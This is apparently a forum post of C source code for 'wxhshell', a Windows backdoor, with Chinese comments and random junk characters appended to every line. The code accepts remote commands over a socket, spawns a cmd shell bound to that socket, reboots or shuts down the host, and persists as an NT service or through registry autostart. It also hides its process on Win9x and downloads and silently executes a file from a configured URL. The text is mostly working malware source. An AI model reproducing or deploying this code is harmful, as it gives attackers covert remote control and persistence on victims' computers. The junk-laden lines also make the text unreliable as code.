V ?10O  
    switch(cmd[0]) { rdFeDZo&Z)  
  M] +FTz  
  // 帮助 c&Mci"n j0  
  case '?': { %Q}T9%Mtj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <Q4yN!6  
    break; Mpm#a0f  
  } J(\]39y  
  // 安装 o+H;ZGT5H  
  case 'i': { gZFtV  
    if(Install()) Y+k)d^6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k-v@sb24_  
    else em87`Hj^lo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *uLlf'qU]  
    break; i_? S#L]h  
    } O;N QJ$^bI  
  // 卸载 !;YmLJk;hN  
  case 'r': { 0<{+M`G/  
    if(Uninstall()) ]yxRaW9f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a-t}L{~  
    else :\+;5Se+l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L y!!+UM\  
    break; %lw!4Z\gg  
    } (Ut)APM  
  // 显示 wxhshell 所在路径 .{-&3++WZ  
  case 'p': { ]#C;)Vy  
    char svExeFile[MAX_PATH]; Vp;^_,  
    strcpy(svExeFile,"\n\r"); o*OaYF'8  
      strcat(svExeFile,ExeFile); RtrESwtR  
        send(wsh,svExeFile,strlen(svExeFile),0); >k6RmN  
    break; !$:lv)y  
    } BwN65_5p  
  // 重启 }*2q7K2bj  
  case 'b': { piRP2Lbm*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p&nIUx"  
    if(Boot(REBOOT)) g,5r)FU`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q L6Rs  
    else { B rGaCja  
    closesocket(wsh); DQ{Yr>J  
    ExitThread(0); 6#/Riu%  
    } / M(A kNy  
    break; o%+8.Tx6wT  
    } 7/ "g} F}Q  
  // 关机 .c[v /SB]  
  case 'd': { hhTM-D1Ehs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <z3:*=!  
    if(Boot(SHUTDOWN)) 3[RbVT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9_)}  
    else { 3Z *'  
    closesocket(wsh); NR8YVO)5$  
    ExitThread(0); dF$Fd{\4^  
    } D\~*| J  
    break; RcUKe,  
    } E6iUa'  
  // 获取shell Rh7unJ  
  case 's': { Fm@G@W7,m  
    CmdShell(wsh); :%M[|Fj  
    closesocket(wsh); O.n pi: a  
    ExitThread(0); F2 /-Wk@  
    break; E\5cb[Y  
  } 9/rX%  
  // 退出 X\?e=rUfn  
  case 'x': { -5Qsc/ s&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (UDR=7w)  
    CloseIt(wsh); $7{|  
    break; l65-8  
    } TI{W(2O*  
  // 离开 FFH9 $>A  
  case 'q': { 2k,!P6fgl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $V$|"KRcs  
    closesocket(wsh); nRpZ;X)'.  
    WSACleanup(); y*,3P0*z  
    exit(1); <<@vy{*Hg  
    break; eMPk k=V  
        } gl/n*s#r_  
  } PTfy#  
  } o#X|4bES  
_ri1RK,  
  // 提示信息 1LTl=tS#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;~Eb Q  
} $:I~y| !1  
  } @D!KFJ  
0ad -4  
  return; Jsi [,|G  
} uf;^yQi  
$9v:(:!Bm  
// shell模块句柄 #un#~s 7Q  
int CmdShell(SOCKET sock) xU/Eu;m  
{ w(kN0HD  
STARTUPINFO si; ;m{*iKL6{  
ZeroMemory(&si,sizeof(si)); yM%,*VZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F&}>2QiL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uJ<sa;  
PROCESS_INFORMATION ProcessInfo; =4z:Df  
char cmdline[]="cmd"; _ukKzY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5b9v`6Kq  
  return 0; >W,1s  
} ,5jE9  
=/@c9QaV B  
// 自身启动模式 z= pb<Y@X  
int StartFromService(void) IxwOzpr  
{ jq{rNxdGx  
typedef struct ,^ MA,"8  
{ gd>Op  
  DWORD ExitStatus; |r"1 &ow5  
  DWORD PebBaseAddress; Sr)rKc  
  DWORD AffinityMask; q^],K'  
  DWORD BasePriority; j[ !'l,I  
  ULONG UniqueProcessId; {s}@$rW  
  ULONG InheritedFromUniqueProcessId; K8y/U(@|D  
}   PROCESS_BASIC_INFORMATION; =T$-idx1l  
k36%n *4  
PROCNTQSIP NtQueryInformationProcess; >&h#t7<  
K29]B~0%E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BJDe1W3;'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9.R)iA  
@; ayl  
  HANDLE             hProcess; w=Xil  
  PROCESS_BASIC_INFORMATION pbi; nA%H`/O{  
Q7O8']~n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  ?C   
  if(NULL == hInst ) return 0; GH2D5HVN  
ai% fj*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BBy"qkTe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1_ uq46  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hPt(7E2ke~  
<7TE[M'  
  if (!NtQueryInformationProcess) return 0; PdG:aGQ>  
` INcZr"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0}]k>ndT  
  if(!hProcess) return 0; p{7"a  
\;x+KD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HABMFv  
(l : ;p&[  
  CloseHandle(hProcess); _|.q?;C]$  
>IO}}USm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;wCp j9hir  
if(hProcess==NULL) return 0; q: . URl  
`As.1@  
HMODULE hMod; 4J*%$Vxv  
char procName[255]; 5-O[(b2O  
unsigned long cbNeeded; j;eR9jI$T  
[i24$UT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $aTZC>R  
/7X:=~m  
  CloseHandle(hProcess); H)1< ;{:  
xfw)0S  
if(strstr(procName,"services")) return 1; // 以服务启动 6bCC6G  
+^hFs7je)  
  return 0; // 注册表启动 #LEK?]y  
} +hg|!SS@5  
zRsG$)B  
// 主模块 A<.`HCv2  
int StartWxhshell(LPSTR lpCmdLine) 0hK)/!Y  
{ 5% C-eB  
  SOCKET wsl; >(EMZ5  
BOOL val=TRUE; :M(%sv</  
  int port=0; O [GG<Um  
  struct sockaddr_in door; <\@JbL*  
Kxb_9y0`r  
  if(wscfg.ws_autoins) Install(); DPI iGRw  
>_h*N H  
port=atoi(lpCmdLine); vsg"!y@v  
4;8 Z?.  
if(port<=0) port=wscfg.ws_port; L}CjC>R!  
cMxTv4|wui  
  WSADATA data; OL&ku &J_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L2Uk/E  
TGu`r>N51  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W@jBX{k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zZDa7 1>  
  door.sin_family = AF_INET; <T JUKznO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \M1-  
  door.sin_port = htons(port); 0}jB/Z_T  
DWZ!B7Ts  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q?'*T?|  
closesocket(wsl); !Y/$I?13Z  
return 1; !q!.OQ  
} 1t/#ZT!X/  
& D4'hL3  
  if(listen(wsl,2) == INVALID_SOCKET) { %{s<h6{R  
closesocket(wsl); =xFw4 D9  
return 1; 62Yi1<kV@  
} 9r!psRA:`)  
  Wxhshell(wsl); <<K GS  
  WSACleanup(); EXUjdJs"  
5 rkIK  
return 0; W\gu"g`u  
U#R=y:O?  
} ]Ow A>fb  
7:t+  
// 以NT服务方式启动  6!])\Ay  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d4F3!*@(  
{ +s.r!?49+  
DWORD   status = 0; WjtmV2b<7  
  DWORD   specificError = 0xfffffff; 8@ck" LUzD  
a=\r~Z7E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4v cUHa|4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DE:FWD<}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qc-jOl  
  serviceStatus.dwWin32ExitCode     = 0; _] veTAV  
  serviceStatus.dwServiceSpecificExitCode = 0;  U=MFNp+  
  serviceStatus.dwCheckPoint       = 0; N=lFf+  
  serviceStatus.dwWaitHint       = 0; |]sh*<:?,  
GZQy~Uk~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w N9I )hB  
  if (hServiceStatusHandle==0) return; BXy g ?  
Fu:VRul=5$  
status = GetLastError(); h^ea V,x>=  
  if (status!=NO_ERROR) lAz.I  
{ u{maE ,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4~=/CaG~  
    serviceStatus.dwCheckPoint       = 0; 3G|n`dj  
    serviceStatus.dwWaitHint       = 0; GV'Y'  
    serviceStatus.dwWin32ExitCode     = status; <eK F  
    serviceStatus.dwServiceSpecificExitCode = specificError; F Cg{!h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9mfqr$3  
    return; E'zLgU)r`  
  } {(#Dou  
H'Q4IRT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5%j !SVW  
  serviceStatus.dwCheckPoint       = 0; `)$'1,]u  
  serviceStatus.dwWaitHint       = 0; hDI_qZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0@ []l{N  
} oA`'~~!  
ys|a ^VnN  
// 处理NT服务事件,比如:启动、停止 <z+5+h|^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ).e_iE[&  
{ \?A 7{IY  
switch(fdwControl) !=M[u+-  
{ Q[J%  
case SERVICE_CONTROL_STOP: F[mL_JU  
  serviceStatus.dwWin32ExitCode = 0; S,,,D+4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [=imF^=3Vb  
  serviceStatus.dwCheckPoint   = 0; hs< )<  
  serviceStatus.dwWaitHint     = 0; ;LM`B^Q]s  
  { :G\f(2@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n!e4"|4~z  
  } #]pFE.o  
  return; t=\y|Idc  
case SERVICE_CONTROL_PAUSE: daS l.:1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6jT+kq)  
  break; aj;OG^(!2_  
case SERVICE_CONTROL_CONTINUE: F @ lJk|*_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R@Ch3l@  
  break; X}C }  
case SERVICE_CONTROL_INTERROGATE: 6?u9hi  
  break; ~ {OBRC  
}; W Z`u"t^2V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M:i;;)cq  
} swEE >=  
BMMWP   
// 标准应用程序主函数 ?v?b%hK!;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ _R 8; b  
{ 0w[#`  
60?/Z2w5  
// 获取操作系统版本 2;N)>[3*J  
OsIsNt=GetOsVer(); *CG-F=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W,'30:#Fr7  
H|&[,&M>  
  // 从命令行安装 w3oh8NRs_  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ux5pw  
f&x7g.I  
  // 下载执行文件 \UZlFE  
if(wscfg.ws_downexe) { 2Ur9*#~kGp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DY| s |:d  
  WinExec(wscfg.ws_filenam,SW_HIDE); {1a%CsCM  
} co^kP##Y  
* 0M[lR0t  
if(!OsIsNt) { dNd(57  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;s m )f  
HideProc(); J eCKnt=  
StartWxhshell(lpCmdLine); .=rS,Tpo  
} YmXh_bk  
else 'o41)p  
  if(StartFromService()) 6S*L[zBnA\  
  // 以服务方式启动 i!5zHn  
  StartServiceCtrlDispatcher(DispatchTable); CsfGjqpf  
else @ov*Fh  
  // 普通方式启动 @AM;58.  
  StartWxhshell(lpCmdLine); ; C/:$l  
q5<'pi   
return 0; BVAxeXO  
}
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只看该作者 1 发表于: 2006-10-10
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